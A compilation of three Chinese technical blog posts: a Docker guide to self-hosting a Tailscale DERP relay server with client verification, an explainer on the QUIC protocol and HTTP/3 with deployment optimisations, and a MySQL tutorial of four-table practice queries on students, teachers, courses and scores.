自搭建 Tailscale DERP 服务器并使用客户端验证(verify-clients)
搭建 Tailscale DERP 服务器教程 Tailscale DERP（Distributed, Encrypted, and Resilient Packet Relay）服务器是 Tailscale 网络中用于中继流量的组件，尤其适用于网络环境复杂或直连困难的场景，但是国内网络连接官方提供的derp服务器时普遍存在延迟高，速度慢，甚至几乎无法使用的情况。所以产生了自建私有derp流量中转服务器的需求，以便在p2p无法直连打洞成功的场景下能够实现和使用低延迟，高速度的tailscale流量中继服务。以下是使用 Docker 搭建 Tailscale DERP 服务器的详细步骤： 环境准备 操作系统：推荐使用 Linux 系统，如 Ubuntu、Debian 等，因为 Docker 在 Linux 上的性能和兼容性更佳。 Docker 环境：确保已安装 Docker。可以通过运行 docker --version 命令来检查 Docker 是否已安装。 Tailscale 客户端：在宿主机上安装并启动 Tailscale 客户端，以便 DERP服务器能够与 Tailscale 网络通信。 网络配置：确保服务器的网络配置正确，能够正常访问外网，且对应的端口没有被防火墙阻止。 搭建步骤 1. 安装并启动 Tailscale 客户端 在宿主机上安装 Tailscale 客户端，并启动它。安装方法因操作系统而异，具体可以参考 Tailscale 官方文档。 启动 Tailscale 客户端后，它会在 /var/run/tailscale 目录下创建一个名为 tailscaled.sock 的套接字文件。 2. 拉取 Docker 镜像 从 Docker Hub 拉取 javaow/tailscale-derp 镜像。该镜像已经包含了搭建 DERP服务器所需的全部依赖和配置。 docker pull javaow/tailscale-derp 3. 运行 DERP服务器容器 使用以下命令启动 DERP服务器容器。该命令会将 DERP服务器映射到宿主机的指定端口，并挂载必要的文件和目录。 docker run -d \ --name tailscale-derp \ -p 0.0.0.0:59443:36666 \ -p 0.0.0.0:3478:3478/udp \ -v /var/run/tailscale/tailscaled.sock:/var/run/tailscale/tailscaled.sock \ javaow/tailscale-derp \ ./derper \ -hostname "derp.javaow.com" \ -a ":36666" \ -certmode "manual" \ -certdir "/ssl" \ --verify-clients 参数解释 -d：后台运行容器。 --name tailscale-derp：指定容器名称为 tailscale-derp。 -p 0.0.0.0:59443:36666：将容器的 36666 端口映射到宿主机的 59443 端口，允许外部访问。 -p 0.0.0.0:3478:3478/udp：将容器的 3478 端口映射到宿主机的 3478 端口，用于 UDP 通信。 -v /var/run/tailscale/tailscaled.sock:/var/run/tailscale/tailscaled.sock：将宿主机的 Tailscale 套接字文件挂载到容器中，以便 DERP服务器与 Tailscale 守护进程通信。 javaow/tailscale-derp：指定使用的 Docker 镜像。 ./derper：指定容器启动时运行的命令。 -hostname "derp.javaow.com"：设置 DERP服务器的主机名。 -a ":36666"：指定 DERP服务器监听的端口。 -certmode "manual"：指定证书模式为手动。 -certdir "/ssl"：指定证书目录。 --verify-clients：启用客户端验证。 4. 验证 DERP服务器状态 启动容器后，可以通过以下命令查看 DERP服务器的运行状态： docker logs tailscale-derp 如果看到类似 DERP server started 的日志信息，表示 DERP服务器已成功启动。 5. 配置 Tailscale 客户端 在 Tailscale 客户端的配置文件中，添加自建 DERP服务器的信息。具体配置方法如下： { "derpMap": { "OmitDefaultRegions": false, "Regions": { "910": { "RegionID": 910, "RegionCode": "自建节点(名称)", "Nodes": [ { "Name": "910", "RegionID": 910, "HostName": "宿主机IP", "InsecureForTests": true, "DERPPort": 59443 } ], "RegionName": "自建节点(名称)" } } } } 将 宿主机IP 替换为 DERP服务器的实际 IP 地址。 注意事项 端口映射：确保宿主机的 59443(tcp) 和 3478(udp) 端口没有被其他服务占用，并且防火墙允许外部访问这些端口。
一文读懂 QUIC 协议：更快、更稳、更高效的网络通信
一文读懂 QUIC 协议：更快、更稳、更高效的网络通信 ​ 你是否也有这样的困扰：打开 APP 巨耗时、刷剧一直在缓冲、追热搜打不开页面、信号稍微差点就直接加载失败…… ​ 如果有一个协议能让你的上网速度，在不需要任何修改的情况下就能提升 20%，特别是网络差的环境下能够提升 30%以上；如果有一个协议可以让你在 WiFi 和蜂窝数据切换时，网络完全不断开、直播不卡顿、视频不缓冲；你愿意去了解一下它吗？它就是 QUIC 协议。本文将从 QUIC 的背景、原理、实践部署等方面来详细介绍。 一：网络协议栈 1.1 什么叫网络协议？ ​ 类似于我们生活中签署的合同一样，比如买卖合同是为了约束买卖双方的行为按照合同的要求履行，网络协议是为了约束网络通信过程中各方（客户端、服务端及中间设备）必须按照协议的规定进行通信，它制定了数据包的格式、数据交互的过程等等，网络中的所有设备都必须严格遵守才可以全网互联。 ​ 在网络协议栈中，是有分层的，每一层负责不同的事务。我们讨论最多的有三个：应用层、传输层、网络层。应用层主要是针对应用软件进行约束，比如你访问网站需要按照 HTTP 协议格式和要求进行，你发送电子邮件需要遵守 SMTP 等邮件协议的格式和要求；传输层主要负责数据包在网络中的传输问题，比如如何保证数据传输的时候的安全性和可靠性、数据包丢了怎么处理；网络层，也叫路由转发层，主要负责数据包从出发地到目的地，应该怎样选择路径才能更快的到达。合理的网络协议能够让用户上网更快！ 1.2 HTTP/3 协议 ​ HTTP/3 是第三个主要版本的 HTTP 协议。与其前任 HTTP/1.1 和 HTTP/2 不同，在 HTTP/3 中，弃用 TCP 协议，改为使用基于 UDP 协议的 QUIC 协议实现。所以，HTTP/3 的核心在于 QUIC 协议。显然，HTTP/3 属于应用层协议，而它使用的 QUIC 协议属于传输层协议。 1.3 我们需要 HTTP/3 协议吗 ​ 很多人可能都会有这样一个疑问，为什么在 2015 年才标准化了 HTTP/2 ，这么快就需要 HTTP/3？ ​ 我们知道，HTTP/2 通过引入“流”的概念，实现了多路复用。简单来说，假设你访问某个网站需要请求 10 个资源，你使用 HTTP1.1 协议只能串行地发请求，资源 1 请求成功之后才能发送资源 2 的请求，以此类推，这个过程是非常耗时的。如果想 10 个请求并发，不需要串行等待的话，在 HTTP1.1 中，应用就需要为一个域名同时建立 10 个 TCP 连接才行（一般浏览器不允许建立这么多），这无疑是对资源的极大的浪费。HTTP/2 的多路复用解决了这一问题，能使多条请求并发。 ​ 但现实很残酷，为什么很多业务用了 HTTP/2，反倒不如 HTTP1.1 呢？ ​ 第一：多流并发带来了请求优先级的问题，因为有的请求客户端（比如浏览器）希望它能尽快返回，有的请求可以晚点返回；又或者有的请求需要依赖别的请求的资源来展示。流的优先级表示了这个请求被处理的优先级，比如客户端请求的关键的 CSS 和 JS 资源是必须高优先级返回的，图片视频等资源可以晚一点响应。流的优先级的设置是一个难以平衡或者难以做到公平合理的事情，如果设置稍微不恰当，就会导致有些请求很慢，这在用户看来，就是用了 HTTP/2 之后，怎么有的请求变慢了。 ​ 第二：HTTP/2 解决了 HTTP 协议层面的队头阻塞，但是 TCP 的队头阻塞仍然没有解决，所有的流都在一条 TCP 连接上，如果万一序号小的某个包丢了，那么 TCP 为了保证到达的有序性，必须等这个包到达后才能滑动窗口，即使后面的序号大的包已经到达了也不能被应用程序读取。这就导致了在多条流并发的时候，某条流的某个包丢了，序号在该包后面的其他流的数据都不能被应用程序读取。这种情况下如果换做 HTTP1.1，由于 HTTP1.1 是多条连接，某个连接上的请求丢包了，并不影响其他连接。所以在丢包比较严重的情况下，HTTP/2 整体效果大概率不如 HTTP1.1 ​ 事实上，我们并不是真的需要新的 HTTP 版本，而是需要对底层传输控制协议(TCP) 进行升级。 1.4 QUIC 协议栈 ​ QUIC 协议实现在用户态，建立在内核态的 UDP 的基础之上，集成了 TCP 的可靠传输特性，集成了 TLS1.3 协议，保证了用户数据传输的安全。 二：QUIC 协议的优秀特性 2.1 建连快 ​ 数据的发送和接收，要想保证安全和可靠，一定是需要连接的。TCP 需要，QUIC 也同样需要。连接到底是什么？连接是一个通道，是在一个客户端和一个服务端之间的唯一一条可信的通道，主要是为了安全考虑，建立了连接，也就是建立了可信通道，服务器对这个客户端“很放心”，对于服务器来说：你想跟我进行通信，得先让我认识一下你，我得先确认一下你是好人，是有资格跟我通信的。那么这个确认对方身份的过程，就是建立连接的过程。 ​ 传统基于 TCP 的 HTTPS 的建连过程为什么如此慢？它需要 TCP 和 TLS 两个建连过程。如图 1 所示（传统 HTTPS 请求流程图）： ​ 对于一个小请求（用户数据量较小）而言，传输数据只需要 1 个 RTT，但是光建连就花掉了 3 个 RTT，这是非常不划算的，这里建连包括两个过程：TCP 建连需要 1 个 RTT，TLS 建连需要 2 个 RTT。RTT：Round Trip Time，数据包在网络上一个来回的时间。 ​ 为什么需要两个过程？可恶就可恶在这个地方，TCP 和 TLS 没办法合并，因为 TCP 是在内核里完成的，TLS 是在用户态。也许有人会说把干掉内核里的 TCP，把 TCP 挪出来放到用户态，然后就可以和 TLS 一起处理了。首先，你干不掉内核里的 TCP，TCP 太古老了，全世界的服务器的 TCP 都固化在内核里了。所以，既然干不掉 TCP，那我不用它了，我再自创一个传输层协议，放到用户态，然后再结合 TLS，这样不就可以把两个建连过程合二为一了吗？是的，这就是 QUIC。 2.1.1 QUIC 的 1-RTT 建连 ​ 如图 2 所示，是 QUIC 的连接建立过程：初次建连只需要 1 个 RTT 即可完成建连。后续再次建连就可以使用 0-RTT 特性 ​ QUIC 的 1-RTT 建连：客户端与服务端初次建连（之前从未进行通信过），或者长时间没有通信过（0-RTT 过期了），只能进行 1-RTT 建连。只有先进行一次完整的 1-RTT 建连，后续一段时间内的通信才可以进行 0-RTT 建连。 ​ 如图 3 所示：QUIC 的 1-RTT 建连可以分成两个部分。QUIC 连接信息部分和 TLS1.3 握手部分。 ​ QUIC 连接：协商 QUIC 版本号、协商 quic 传输参数、生成连接 ID、确定 Packet Number 等信息，类似于 TCP 的 SYN 报文；保证通信的两端确认过彼此，是对的人。 ​ TLS1.3 握手：标准协议，非对称加密，目的是为了协商出对称密钥，然后后续传输的数据使用这个对称密钥进行加密和解密，保护数据不被窃取。 ​ 我们重点看 QUIC 的 TLS1.3 握手过程。 ​ 我们通过图 4 可以看到，整个握手过程需要 2 次握手（第三次握手是带了数据的），所以整个握手过程只需要 1-RTT（RTT 是指数据包在网络上的一个来回）的时间。 1-RTT 的握手主要包含两个过程： 客户端发送 Client Hello 给服务端； 服务端回复 Server Hello 给客户端； 我们通过下图中图 5 和图 6 来看 Client Hello 和 Server Hello 具体都做了啥： 第一次握手（Client Hello 报文） ​ 首先，Client Hello 在扩展字段里标明了支持的 TLS 版本（Supported Version：TLS1.3）。值得注意的是 Version 字段必须要是 TLS1.2，这是因为 TLS1.2 已经在互联网上存在了 10 年。网络中大量的网络中间设备都十分老旧，这些网络设备会识别中间的 TLS 握手头部，所以 TLS1.3 的出现如果引入了未知的 TLS Version 必然会存在大量的握手失败。 ​ 其次，ClientHello 中包含了非常重要的 key_share 扩展：客户端在发送之前，会自己根据 DHE 算法生成一个公私钥对。发送 Client Hello 报文的时候会把这个公钥发过去，那么这个公钥就存在于 key_share 中，key_share 还包含了客户端所选择的曲线 X25519。总之，key_share 是客户端提前生成好的公钥信息。 ​ 最后，Client Hello 里还包括了：客户端支持的算法套、客户端所支持的椭圆曲线以及签名算法、psk 的模式等等，一起发给服务端。 第二次握手：（Server Hello 报文） ​ 服务端自己根据 DHE 算法也生成了一个公私钥对，同样的，Key_share 扩展信息中也包含了 服务端的公钥信息。服务端通过 ServerHello 报文将这些信息发送给客户端。 ​ 至此为止，双方（客户端服务端）都拿到了对方的公钥信息，然后结合自己的私钥信息，生成 pre-master key，在这里官方的叫法是（client_handshake_traffic_secret 和 server_handshake_traffic_secret），然后根据以下算法进行算出 key 和 iv，使用 key 和 iv 对 Server Hello 之后所有的握手消息进行加密。 ​ 注意：在握手完成之后，服务端会发送一个 New Session Ticket 报文给客户端，这个包非常重要，这是 0-RTT 实现的基础。 2.1.2 QUIC 的 0-RTT 握手 ​ 这个功能类似于 TLS1.2 的会话复用，或者说 0-RTT 是基于会话复用功能的。 ​ 通过上面图 10 我们可以看到，client 和 server 在建连时，仍然需要两次握手，仍然需要 1 个 rtt，但是为什么我们说这是 0-rtt 呢，是因为 client 在发送第一个包 client hello 时，就带上了数据（HTTP 请求），从什么时候开始发送数据这个角度上来看，的确是 0-RTT。 我们通过抓包来看 0-RTT 的过程： ​ 所以真正在实现 0-RTT 的时候，请求的数据并不会跟 Initial 报文（内含 Client Hello）一起发送，而是单独一个数据包（0-RTT 包）进行发送，只不过是跟 Initial 包同时进行发送而已。 ​ 我们单独看 Initial 报文发现，除了 pre_share_key、early-data 标识等信息与 1-RTT 时不同，其他并无区别。 2.1.3 QUIC 建连需要注意的问题 ​ 第一，QUIC 实现的时候，必须缓存收到的乱序加密帧，这个缓存至少要大于 4096 字节。当然可以选择缓存更多的数据，更大的缓存上限意味着可以交换更大的密钥或证书。终端的缓存区大小不必在整个连接生命周期内保持不变。这里记住：乱序帧一定要缓存下来。如果不缓存，会导致连接失败。如果终端的缓存区不够用了，则其可以通过暂时扩大缓存空间确保握手完成。如果终端不扩大其缓存，则其必须以错误码 CRYPTO_BUFFER_EXCEEDED 关闭连接。 ​ 第二，0-RTT 存在前向安全问题，请慎用！ 2.2 连接迁移 ​ QUIC 通过连接 ID 实现了连接迁移。 ​ 我们经常需要在 WiFi 和 4G 之间进行切换，比如我们在家里时使用 WiFi，出门在路上，切换到 4G 或 5G，到了商场，又连上了商场的 WiFi，到了餐厅，又切换到了餐厅的 WiFi，所以我们的日常生活中需要经常性的切换网络，那每一次的切换网络，都将导致我们的 IP 地址发生变化。 ​ 传统的 TCP 协议是以四元组（源 IP 地址、源端口号、目的 ID 地址、目的端口号）来标识一条连接，那么一旦四元组的任何一个元素发生了改变，这条连接就会断掉，那么这条连接中正在传输的数据就会断掉，切换到新的网络后可能需要重新去建立连接，然后重新发送数据。这将会导致用户的网络会“卡”一下。 ​ 但是，QUIC 不再以四元组作为唯一标识，QUIC 使用连接 ID 来标识一条连接，无论你的网络如何切换，只要连接 ID 不变，那么这条连接就不会断，这就叫连接迁移！ 2.2.1 连接 ID ​ 每条连接拥有一组连接标识符，也就是连接 ID，每个连接 ID 都能标识这条连接。连接 ID 是由一端独立选择的，每个端（客户端和服务端统称为端）选择连接 ID 供对端使用。也就是说，客户端生成的连接 ID 供服务端使用（服务端发送数据时使用客户端生成的连接 ID 作为目的连接 ID），反过来一样的。 ​ 连接 ID 的主要功能是确保底层协议（UDP、IP 及更底层的协议栈）发生地址变更（比如 IP 地址变了，或者端口号变了）时不会导致一个 QUIC 连接的数据包被传输到错误的 QUIC 终端（客户端和服务端统称为终端）上。 2.2.2 QUIC 的连接迁移过程 ​ QUIC 限制连接迁移为仅客户端可以发起，客户端负责发起所有迁移。如果客户端接收到了一个未知的服务器发来的数据包，那么客户端必须丢弃这些数据包。 如图 14 所示，连接迁移过程总共需要四个步骤。 连接迁移之前，客户端使用 IP1 和服务端进行通信； 客户端 IP 变成 IP2，并且使用 IP2 发送非探测帧给服务端； 启动路径验证（双方都需要互相验证），通过 PATH_CHANLLENGE 帧和 PATH_RESPONSE 帧进行验证。 验证通过后，使用 IP2 进行通信。 2.3 解决 TCP 队头阻塞问题 在 HTTP/2 中引入了流的概念。目的是实现多个请求在同一个连接上并发，从而提升网页加载的效率。 ​ 由图 15 来看，假设有两个请求同时发送，红色的是请求 1，蓝色的是请求 2，这两个请求在两条不同的流中进行传输。假设在传输过程中，请求 1 的某个数据包丢了，如果是 TCP，即使请求 2 的所有数据包都收到了，但是也只能阻塞在内核缓冲区中，无法交给应用层。但是 QUIC 就不一样了，请求 1 的数据包丢了只会阻塞请求 1，请求 2 不会受到阻塞。 ​ 有些人不禁发问，不是说 HTTP2 也有流的概念吗，为什么只有 QUIC 才能解决呢，这个根本原因就在于，HTTP2 的传输层用的 TCP，TCP 的实现是在内核态的，而流是实现在用户态度，TCP 是看不到“流”的，所以在 TCP 中，它不知道这个数据包是请求 1 还是请求 2 的，只会根据 seq number 来判断包的先后顺序。 2.4 更优的拥塞控制算法 拥塞控制算法中最重要的一个参数是 RTT，RTT 的准确性决定了拥塞控制算法的准确性；然而，TCP 的 RTT 测量往往不准确，QUIC 的 RTT 测量是准确的。 ​ 如图 16 所示：由于网络中经常出现丢包，需要重传，在 TCP 协议中，初始包和重传包的序号是一样的，拥塞控制算法进行计算 RTT 的时候，无法区别是初始包还是重传包，这将导致 RTT 的计算值要么偏大，要么偏小。 ​ 如图 17 所示：QUIC 通过 Packet Number 来标识包的序号，而且规定 Packet Number 只能单调递增，这也就解决了初始包和重传包的二义性。从而保证 RTT 的值是准确的。 ​ 另外，不同于 TCP，QUIC 的拥塞控制算法是可插拔的，由于其实现在用户态，服务可以根据不同的业务，甚至不同的连接灵活选择使用不同的拥塞控制算法。（Reno、New Reno、Cubic、BBR 等算法都有自己适合的场景） 2.5 QUIC 的两级流量控制 ​ 很多人搞不清楚流量控制与拥塞控制的区别。二者有本质上的区别。 ​ 流量控制要解决的问题是：接收方控制发送方的数据发送的速度，就是我的接收能力就那么大点，你别发太快了，你发太快了我承受不住，会给你丢掉你还得重新发。拥塞控制要解决的问题是：数据在网络的传输过程中，是否网络有拥塞，是否有丢包，是否有乱序等问题。如果中间传输的时候网络特别卡，数据包丢在中间了，发送方就需要重传，那么怎么判断是否拥塞了，重传要怎么重传法，按照什么算法进行发送数据才能尽可能避免数据包在中间路径丢掉，这是拥塞控制的核心。 ​ 所以，流量控制解决的是接收方的接收能力问题，一般采用滑动窗口算法；拥塞控制要解决的是中间传输的时候网络是否拥堵的问题，一般采用慢启动、拥塞避免、拥塞恢复、快速重传等算法。 ​ QUIC 是双级流控，不仅有连接这一个级别的流控，还有流这个级别的流控。如下图所示，每个流都有自己的可用窗口，可用窗口的大小取决于最大窗口数减去发送出去的最大偏移数，跟中间已经发送出去的数据包，是否按顺序收到了对端的 ACK 无关。 3. QUIC 协议如何优化 QUIC 协议定义了很多优秀的功能，但是在实现的过程中，我们会遇到很多问题导致无法达到预期的性能，比如 0-RTT 率很低，连接迁移失败率很高等等。 3.1 QUIC 的 0-RTT 成功率不高 ​ 导致 0-RTT 成功率不高的原因一般有如下几个： 服务端一般都是集群，对于客户端来说，处理请求的服务端是不固定的，新的请求到来时，如果当前 client 没有请求过该服务器，则服务器上没有相关会话信息，会把该请求当做一个新的连接来处理，重新走 1-RTT。 ​ 针对此种情况，我们可以考虑集群中所有的服务器使用相同的 ticket 文件。 客户端 IP 不是固定的，在发生连接迁移时，服务端下发的 token 融合了客户端的 IP，这个 IP 变化了的话，携带 token 服务端校验不过，0-RTT 会失败。 ​ 针对这个问题，我们可以考虑采用如图 19 所示的方法，使用设备信息或者 APP 信息来生成 token，唯一标识一个客户端。 Session Ticket 过期时间默认是 2 天，超过 2 天后就会导致 0-RTT 失败，然后降级走 1-RTT。可以考虑增长过期时间。 3.2 实现连接迁移并不容易 ​ 连接迁移的实现，不可避开的两个问题：一个是四层负载均衡器对连接迁移的影响，一个是七层负载均衡器对连接迁移的影响。 ​ 四层负载均衡器的影响：LVS、DPVS 等四层负载均衡工具基于四元组进行转发，当连接迁移发生时，四元组会发生变化，该组件就会把同一个请求的数据包发送到不同的后端服务器上，导致连接迁移失败； ​ 七层负载均衡器的影响（QUIC 服务器多核的影响）：由于多核的影响，一般服务器会有多个 QUIC 服务端进程，每个进程负载处理不同的连接。内核收到数据包后，会根据二元组（源 IP、源 port）选择已经存在的连接，并把数据包交给对应的 socket。在连接迁移发生时，源地址发生改变，可能会让接下来的数据包去到不同的进程，影响 socket 数据的接收。 ​ 如何解决以上两个问题？DPVS 要想支持 QUIC 的连接迁移，就不能再以四元组进行转发，需要以连接 ID 进行转发，需要建立 连接 ID 与对应的后端服务器的对应关系； ​ QUIC 服务器也是一样的，内核就不能用四元组来进行查找 socket，四元组查找不到时，就必须使用连接 ID 进行查找 socket。但是内核代码又不能去修改（不可能去更新所有服务器的内核版本），那么我们可以使用 eBPF 的方法进行解决。如下图 20 所示： 3.3 UDP 被限速或禁闭 ​ 业内统计数据全球有 7%地区的运营商对 UDP 有限速或者禁闭，除了运营商还有很多企业、公共场合也会限制 UDP 流量甚至禁用 UDP。这对使用 UDP 来承载 QUIC 协议的场景会带来致命的伤害。对此，我们可以采用多路竞速的方式使用 TCP 和 QUIC 同时建连。除了在建连进行竞速以外，还可以对网络 QUIC 和 TCP 的传输延时进行实时监控和对比，如果有链路对 UDP 进行了限速，可以动态从 QUIC 切换到 TCP。 3.4 QUIC 对 CPU 消耗大 ​ 相对于 TCP，为什么 QUIC 更消耗资源？ QUIC 在用户态实现，需要更多的内核空间与用户空间的数据拷贝和上下文切换； QUIC 的 ACK 报文也是加密的，TCP 是明文的。 内核知道 TCP 连接的状态，不用为每一个数据包去做诸如查找目的路由、防火墙规则等操作，只需要在 tcp 连接建立的时候做一次即可，然而 QUIC 不行； ​ 总的来说，QUIC 服务端消耗 CPU 的地方主要有三个：密码算法的开销；udp 收发包的开销；协议栈的开销； ​ 针对这些，我们可以适当采取优化措施来： 使用 Intel 硬件加速卡卸载 TLS 握手 开启 GSO 功能。 数据在传输过程中，可以将一轮中所有的 ACK 解析后再同时进行处理，避免处理大量的 ACK。 适当将 QUIC 的包长限制调高（比如从默认的 1200 调到 1400 个字节） 减少协议栈的内存拷贝 4. QUIC 的性能 ​ 从公开的数据来看，国内各个厂（腾讯、阿里、字节、华为、OPPO、网易等等）使用了 QUIC 协议后，都有很大的提升，比如网易上了 QUIC 后，响应速度提升 45%，请求错误率降低 50%；比如字节火山引擎使用 QUIC 后，建连耗时降低 20%~30%；比如腾讯使用 QUIC 后，在腾讯会议、直播、游戏等场景耗时也降低 30%； 总结 ​ QUIC 协议的出现，为 HTTP/3 奠定了基础。这是近些年在 web 协议上最大的变革，也是最优秀的一次实践。面对新的协议，我们总是有着各种各样的担忧，诚然，QUIC 协议在稳定性上在成熟度上，的确还不如 TCP 协议，但是经过近几年的发展，成熟度已经相当不错了，Nginx 近期也发布了 1.25.0 版本，支持了 QUIC 协议。所以面对这样优秀的协议，我们希望更多的公司，更多的业务参与进来使用 QUIC，推动 QUIC 更好的发展，推动用户上网速度更快！版权属于：李龙彦原文链接：https://www.infoq.cn/article/Lddlsa5f21StY04LI3hP转载时须注明出处及本声明
MySQL经典四表查询(教师，学生，成绩，课程表)多表查询
MySQL经典四表查询(教师，学生，成绩，课程表)多表查询 1、表架构呈现 student(sid,sname,sage,ssex) 学生表 teacher(tid,tname) 教师表 course(cid,cname,tid) 课程表 sc(sid,cid,score) 成绩表 2、建表SQL语句并插入数据 -- 1.学生表 CREATE TABLE student( sid INT PRIMARY KEY AUTO_INCREMENT, sname VARCHAR(20), sage DATE, ssex ENUM ('男','女') ); -- 2.课程表中使用了外键教师编号，因而需要先建立教师表 CREATE TABLE teacher( tid INT PRIMARY KEY AUTO_INCREMENT, tname VARCHAR(20) ); -- 3.建立课程表 CREATE TABLE course( cid INT PRIMARY KEY AUTO_INCREMENT, cname VARCHAR(20), tid INT, FOREIGN KEY (tid) REFERENCES teacher (tid) ); -- 4.建立成绩表 CREATE TABLE sc( sid INT, cid INT, score INT ); -- 先给student表插入数据 INSERT INTO student VALUES (1,'赵雷','1990-01-01','男'), (2,'钱电','1990-12-21','男'), (3,'孙风','1990-05-20','男'), (4,'李云','1990-08-06','男'), (5,'周梅','1991-12-01','女'), (6,'吴兰','1992-03-01','女'), (7,'郑竹','1989-07-01','女'), (8,'王菊','1990-01-20','女'); -- 给teacher表插入数据,这里不可以先给course表插入数据,因为course表外键连接到teacher的主键 INSERT INTO teacher VALUES(1,'张三'),(2,'李四'),(3,'王五'); -- 给course表插入数据 INSERT INTO course VALUES(1,'语文',2),(2,'数学',1),(3,'英语',3); -- 最后给sc表插入数据 INSERT INTO sc VALUES(1,1,90),(1,2,80),(1,3,90),(2,1,70),(2,2,60),(2,3,80),(3,1,80), (3,2,80),(3,3,80),(4,1,50),(4,2,30),(4,3,20),(5,1,76),(5,2,87),(6,1,31),(6,3,34),(7,2,89),(7,3,98); 3、问题集锦 （1）查询 1 课程比 2 课程成绩高的学生的信息及课程分数 SELECT s.sid,s.sname,s.sage,s.ssex,sc1.score,sc2.score FROM student s ,sc sc1,sc sc2 WHERE sc1.`cid` = 1 AND sc2.`cid` = 2 AND sc1.`score` > sc2.`score` AND sc1.`sid` = s.`sid`AND sc2.`sid` = s.`sid`; （2）查询平均成绩大于等于60分的同学的学生编号和学生姓名和平均成绩 SELECT s.sid,s.sname,AVG(sc1.`score`) AS 'avg_score' FROM student s ,sc sc1 WHERE s.sid = sc1.`sid` GROUP BY s.sid HAVING avg_score >= 60 ORDER BY avg_score DESC; （3）查询名字中含有"风"字的学生信息 SELECT s.sid,s.sname,s.sage,s.ssex FROM student s WHERE sname LIKE '%风%'; （4）查询课程名称为"数学"，且分数低于60的学生姓名和分数 SELECT s.sname,sc1.score FROM student s ,sc sc1 WHERE s.sid = sc1.sid AND cid = 2 AND sc1.score < 60; （5）查询所有学生的课程及分数情况 SELECT sc1.sid,c.cname,sc1.score FROM course c,sc sc1 WHERE c.cid = sc1.cid; （6）查询没学过"张三"老师授课的同学的信息 第一种普通写法： SELECT sc1.sid FROM sc sc1,course c,teacher t WHERE c.tid = t.tid AND c.cid = sc1.cid AND t.tname = '张三'; 第二种子查询写法： SELECT s.* FROM student s WHERE s.sid NOT IN ( SELECT sc1.sid FROM sc sc1,course c,teacher t WHERE c.tid = t.tid AND c.cid = sc1.cid AND t.tname = '张三'); （7）查询学过"张三"老师授课的同学的信息 第一种普通写法： SELECT s.* FROM student s,sc sc1,course c,teacher t WHERE sc1.sid = s.sid AND t.tid = c.tid AND c.cid = sc1.cid AND t.tname = '张三'; 第二种子查询写法： SELECT s.* FROM student s WHERE s.sid IN ( SELECT sc1.sid FROM sc sc1,course c,teacher t WHERE c.tid = t.tid AND c.cid = sc1.cid AND t.tname = '张三'); （8）查询学过编号为 1 并且也学过编号为 2 的课程的同学的信息 SELECT s.* FROM student s,sc sc1,sc sc2 WHERE s.sid = sc1.sid AND sc1.sid = sc2.sid AND sc1.cid = 1 AND sc2.cid = 2; （9）查询学过编号为 1 但是没有学过编号为 2 的课程的同学的信息 -- 第一步：先用student表左连接查出学过课程1的和学过课程2的所有学生信息 SELECT s.* FROM student s LEFT JOIN (SELECT * FROM sc WHERE cid=1) sc1 ON s.sid = sc1.sid LEFT JOIN (SELECT * FROM sc WHERE cid=2) sc2 ON s.sid = sc2.sid; -- 第二步：筛选学过编号为1但是没有学过编号为2的课程的同学的信息 SELECT s.* FROM student s LEFT JOIN (SELECT * FROM sc WHERE cid=1) sc1 ON s.sid = sc1.sid LEFT JOIN (SELECT * FROM sc WHERE cid=2) sc2 ON s.sid = sc2.sid WHERE (sc1.cid=1 AND sc2.cid IS NULL); （10）查询没有学全所有课程的同学的信息 -- 第一种写法： -- 第一步：先用student表左连接查出学过课程1、2、3及其它的所有学生信息 SELECT s.* FROM student s LEFT JOIN (SELECT * FROM sc WHERE cid = 1) sc1 ON s.sid = sc1.sid LEFT JOIN (SELECT * FROM sc WHERE cid = 2) sc2 ON s.sid = sc2.sid LEFT JOIN (SELECT * FROM sc WHERE cid = 3) sc3 ON s.sid = sc3.sid; -- 筛选没有学全所有课程的同学的信息 SELECT s.* FROM student s LEFT JOIN (SELECT * FROM sc WHERE cid = 1) sc1 ON s.sid = sc1.sid LEFT JOIN (SELECT * FROM sc WHERE cid = 2) sc2 ON s.sid = sc2.sid LEFT JOIN (SELECT * FROM sc WHERE cid = 3) sc3 ON s.sid = sc3.sid WHERE (sc1.cid IS NULL OR sc2.cid IS NULL OR sc3.cid IS NULL); -- 上面写法比较繁琐，建议用楼下写法 -- 第二种写法： -- 第一步：先把三个课程都学的学员编号查出来 SELECT sc1.sid FROM sc sc1,sc sc2,sc sc3 WHERE sc1.cid = 1 AND sc2.cid = 2 AND sc3.cid = 3 AND sc1.sid = sc2.sid AND sc1.sid = sc3.sid; -- 第二步：对立的查询思路，三个课程都学完的同学对立面是三个课程没学完或者一个都没学的 SELECT s.* FROM student s WHERE s.sid NOT IN (SELECT sc1.sid FROM sc sc1,sc sc2,sc sc3 WHERE sc1.cid = 1 AND sc2.cid = 2 AND sc3.cid = 3 AND sc1.sid = sc2.sid AND sc1.sid = sc3.sid) GROUP BY s.sid; （11）查询至少有一门课与学号为"1"的同学所学相同的同学的信息 SELECT DISTINCT s.* FROM student s,sc sc1 WHERE s.sid = sc1.sid AND sc1.cid IN(SELECT cid FROM sc WHERE sid = 1) AND s.sid <> 1; （12）查询和"1"号的同学学习的课程完全相同的其他同学的信息 -- 第一步：先查出1号同学学习的所有的课程编号 -- 当前数据设计1号同学选修了所有课程 SELECT cid FROM sc WHERE sid = 1; -- 第二步：查出选修了1号学生没有选修课程的学生编号，这一步很关键，我们用cid去过滤，所以后面再用not in的时候那个子集里一定有和1号学生选修的课程完全相同的同学 -- 因为1号同学选修了所有课程，所以没有符合条件的学生编号 SELECT sid FROM sc WHERE cid NOT IN (SELECT cid FROM sc WHERE sid = 1); -- 如果查询结果中有重复的sid，因为有的同学选修的1号同学没选的课程不止一门，可以使用distinct对sid进行去重处理 -- 第三步：查询选修的课程是1号学生选修课程的子集的学生编号 -- 因为第二步查出的是选修了1号学生没有选修课程的学生编号,逆向思维，再用not in，双重否定变肯定，查出的就是和1号同学有一门、多门、或者全部课程的同学编号 -- 可以使用distinct对sid进行去重处理 SELECT sid FROM sc WHERE sid NOT IN (SELECT sid FROM sc WHERE cid NOT IN (SELECT cid FROM sc WHERE sid = 1)); -- 第四步：从上述查询结果中，筛选出选修的课程数量与1号学生选修的课程数量相等的其他学生的编号 SELECT sid FROM sc WHERE sid NOT IN (SELECT sid FROM sc WHERE cid NOT IN (SELECT cid FROM sc WHERE sid = 1)) GROUP BY sid HAVING COUNT(*) = (SELECT COUNT(*) FROM sc WHERE sid =1) AND sid <> 1; -- COUNT(*):统计返回的行数 当sid=1时，有3行数据 SELECT COUNT(*) FROM sc WHERE sid = 1; -- 3 -- 